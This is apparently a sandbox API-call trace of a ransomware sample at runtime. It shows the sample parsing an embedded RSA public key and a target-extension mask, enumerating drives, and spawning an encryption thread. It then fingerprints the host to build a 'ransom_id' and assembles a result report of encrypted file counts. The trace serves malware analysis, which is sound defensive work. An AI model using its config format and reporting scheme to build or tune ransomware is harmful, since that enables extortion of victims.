	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.401] lstrcmpiA (lpString1="pub_key", lpString2="mask") returned 1
	[0090.401] lstrcmpiA (lpString1="pub_key", lpString2="pub_key") returned 0
	[0090.401] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ") returned 368
	[0090.401] lstrcpyA (in: lpString1=0xd5f148, lpString2="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ" | out: lpString1="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ") returned="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ"
	[0090.401] lstrcmpiA (lpString1="mask", lpString2="mask") returned 0
	[0090.401] lstrcmpiA (lpString1="mask", lpString2="pub_key") returned -1
	[0090.401] lstrlenA (lpString="LmdpZiwuanBnLC5qcGVn") returned 20
	[0090.401] lstrcpyA (in: lpString1=0xd4e168, lpString2="LmdpZiwuanBnLC5qcGVn" | out: lpString1="LmdpZiwuanBnLC5qcGVn") returned="LmdpZiwuanBnLC5qcGVn"
	[0090.401] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ") returned 368
	[0090.401] VirtualAlloc (lpAddress=0x0, dwSize=0x171, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000
	[0090.402] lstrcpyA (in: lpString1=0x3040000, lpString2="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ" | out: lpString1="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ") returned="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ"
	[0090.402] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.402] VirtualFree (lpAddress=0x2fd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.402] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.403] VirtualFree (lpAddress=0x2fe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.403] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0090.403] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.403] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.403] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.403] VirtualFree (lpAddress=0xb0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.404] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.404] VirtualFree (lpAddress=0xa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.404] VirtualFree (lpAddress=0xc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.404] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.404] VirtualFree (lpAddress=0xe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.404] VirtualFree (lpAddress=0x100000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.404] VirtualFree (lpAddress=0xf0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.405] VirtualFree (lpAddress=0x110000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.405] VirtualFree (lpAddress=0x120000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.405] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.405] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ") returned 368
	[0090.405] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0xa0000
	[0090.405] CryptStringToBinaryA (in: pszString="BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ", cchString=0x0, dwFlags=0x1, pbBinary=0xa0000, pcbBinary=0x253ff70, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xa0000, pcbBinary=0x253ff70, pdwSkip=0x0, pdwFlags=0x0) returned 1
	[0090.405] VirtualAlloc (lpAddress=0x0, dwSize=0x210, flAllocationType=0x3000, flProtect=0x4) returned 0xb0000
	[0090.405] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0xc0000
	[0090.406] GetTickCount () returned 0x28fd2
	[0090.406] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1
	[0090.406] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1
	[0090.406] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0090.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xce7b90, lpParameter=0x253fc78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0090.406] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1
	[0090.406] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1
	[0090.406] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1
	[0090.406] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1
	[0090.407] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1
	[0090.408] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1
	[0090.408] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1
	[0090.408] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1
	[0090.408] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1
	[0090.408] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1
	[0090.408] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1
	[0090.408] WaitForMultipleObjects (nCount=0x1, lpHandles=0x253fb78*=0x3ac, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0137.034] GetTickCount () returned 0x34603
	[0137.035] GetTickCount () returned 0x34603
	[0137.035] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xd0000
	[0137.035] lstrcatW (in: lpString1="", lpString2="oa" | out: lpString1="oa") returned="oa"
	[0137.035] lstrcatW (in: lpString1="oa", lpString2="za" | out: lpString1="oaza") returned="oaza"
	[0137.035] lstrlenW (lpString="oaza") returned 4
	[0137.035] VirtualAlloc (lpAddress=0x0, dwSize=0x208, flAllocationType=0x3000, flProtect=0x4) returned 0xe0000
	[0137.035] lstrcatW (in: lpString1="", lpString2="oaza" | out: lpString1="oaza") returned="oaza"
	[0137.035] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.035] lstrcatW (in: lpString1="oaza", lpString2="?" | out: lpString1="oaza?") returned="oaza?"
	[0137.035] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xd0000
	[0137.035] lstrcatW (in: lpString1="", lpString2="er" | out: lpString1="er") returned="er"
	[0137.035] lstrcatW (in: lpString1="er", lpString2="b" | out: lpString1="erb") returned="erb"
	[0137.035] lstrcatW (in: lpString1="oaza?", lpString2="erb" | out: lpString1="oaza?erb") returned="oaza?erb"
	[0137.035] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.036] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xd0000
	[0137.036] lstrcatW (in: lpString1="", lpString2="sc" | out: lpString1="sc") returned="sc"
	[0137.036] lstrcatW (in: lpString1="sc", lpString2="au" | out: lpString1="scau") returned="scau"
	[0137.036] lstrcatW (in: lpString1="scau", lpString2="gh" | out: lpString1="scaugh") returned="scaugh"
	[0137.036] lstrcatW (in: lpString1="oaza?erb", lpString2="=" | out: lpString1="oaza?erb=") returned="oaza?erb="
	[0137.036] lstrcatW (in: lpString1="oaza?erb=", lpString2="scaugh" | out: lpString1="oaza?erb=scaugh") returned="oaza?erb=scaugh"
	[0137.036] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.036] lstrcatW (in: lpString1="oaza?erb=scaugh", lpString2="&" | out: lpString1="oaza?erb=scaugh&") returned="oaza?erb=scaugh&"
	[0137.036] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xd0000
	[0137.036] lstrcatW (in: lpString1="", lpString2="eigh" | out: lpString1="eigh") returned="eigh"
	[0137.036] lstrcatW (in: lpString1="oaza?erb=scaugh&", lpString2="eigh" | out: lpString1="oaza?erb=scaugh&eigh") returned="oaza?erb=scaugh&eigh"
	[0137.036] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.036] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xd0000
	[0137.037] lstrcatW (in: lpString1="", lpString2="ai" | out: lpString1="ai") returned="ai"
	[0137.037] lstrcatW (in: lpString1="oaza?erb=scaugh&eigh", lpString2="=" | out: lpString1="oaza?erb=scaugh&eigh=") returned="oaza?erb=scaugh&eigh="
	[0137.037] lstrcatW (in: lpString1="oaza?erb=scaugh&eigh=", lpString2="ai" | out: lpString1="oaza?erb=scaugh&eigh=ai") returned="oaza?erb=scaugh&eigh=ai"
	[0137.037] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.037] VirtualAlloc (lpAddress=0x0, dwSize=0x4c02, flAllocationType=0x3000, flProtect=0x40) returned 0xd0000
	[0137.037] wsprintfW (in: param_1=0xd0000, param_2="action=result&e_files=%d&e_size=%I64u&e_time=%d&" | out: param_1="action=result&e_files=391&e_size=379733558&e_time=46641&") returned 56
	[0137.037] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0xf0000
	[0137.037] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x253f9a4 | out: phkResult=0x253f9a4*=0x3cc) returned 0x0
	[0137.038] RegQueryValueExW (in: hKey=0x3cc, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0xf0000, lpcbData=0x253f9b4*=0x80 | out: lpType=0x0, lpData=0xf0000*=0x0, lpcbData=0x253f9b4*=0x2) returned 0x0
	[0137.038] RegCloseKey (hKey=0x3cc) returned 0x0
	[0137.038] wsprintfW (in: param_1=0xf0000, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9
	[0137.038] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x100000
	[0137.038] VirtualAlloc (lpAddress=0x0, dwSize=0xe0c, flAllocationType=0x3000, flProtect=0x4) returned 0x140000
	[0137.038] GetWindowsDirectoryW (in: lpBuffer=0x140000, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa
	[0137.038] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x140200, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x140600, lpMaximumComponentLength=0x140608, lpFileSystemFlags=0x140604, lpFileSystemNameBuffer=0x140400, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x140600*=0xd2ca4def, lpMaximumComponentLength=0x140608*=0xff, lpFileSystemFlags=0x140604*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1
	[0137.038] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x253f9a4 | out: phkResult=0x253f9a4*=0x3cc) returned 0x0
	[0137.039] RegQueryValueExW (in: hKey=0x3cc, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x14060c, lpcbData=0x253f9b4*=0x80 | out: lpType=0x0, lpData=0x14060c*=0x49, lpcbData=0x253f9b4*=0x54) returned 0x0
	[0137.039] RegCloseKey (hKey=0x3cc) returned 0x0
	[0137.039] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41
	[0137.039] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x253f9a4 | out: phkResult=0x253f9a4*=0x3cc) returned 0x0
	[0137.039] RegQueryValueExW (in: hKey=0x3cc, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x14065e, lpcbData=0x253f9b4*=0x80 | out: lpType=0x0, lpData=0x14065e*=0x49, lpcbData=0x253f9b4*=0x4a) returned 0x0
	[0137.039] RegCloseKey (hKey=0x3cc) returned 0x0
	[0137.039] wsprintfW (in: param_1=0x100000, param_2="%d" | out: param_1="-758493713") returned 10
	[0137.039] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3"
	[0137.039] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77c40000
	[0137.039] GetProcAddress (hModule=0x77c40000, lpProcName="RtlComputeCrc32") returned 0x77c66b10
	[0137.039] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87
	[0137.039] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x100000, Length=0xae) returned 0xdce1bb8b
	[0137.039] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.039] lstrlenW (lpString="WORKGROUP") returned 9
	[0137.039] lstrlenW (lpString="pc_group") returned 8
	[0137.039] lstrlenW (lpString="action=result&e_files=391&e_size=379733558&e_time=46641&") returned 56
	[0137.039] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group"
	[0137.039] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group="
	[0137.039] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP"
	[0137.039] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&"
	[0137.039] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0137.040] wsprintfW (in: param_1=0x140000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16
	[0137.040] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id"
	[0137.040] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id="
	[0137.040] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def"
	[0137.040] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&"
	[0137.040] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.040] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46
	[0137.040] lstrlenW (lpString="action=result&e_files=391&e_size=379733558&e_time=46641&pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned 101
	[0137.040] VirtualFree (lpAddress=0x2fb0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0137.040] lstrlenW (lpString="oaza?erb=scaugh&eigh=ai") returned 23
	[0137.040] VirtualAlloc (lpAddress=0x0, dwSize=0x19, flAllocationType=0x3000, flProtect=0x4) returned 0x140000
	[0137.040] wsprintfA (in: param_1=0x140000, param_2="%S" | out: param_1="oaza?erb=scaugh&eigh=ai") returned 23
	[0137.040] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0137.041] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0137.041] GetProcAddress (hModule=0x77c40000, lpProcName="RtlComputeCrc32") returned 0x77c66b10
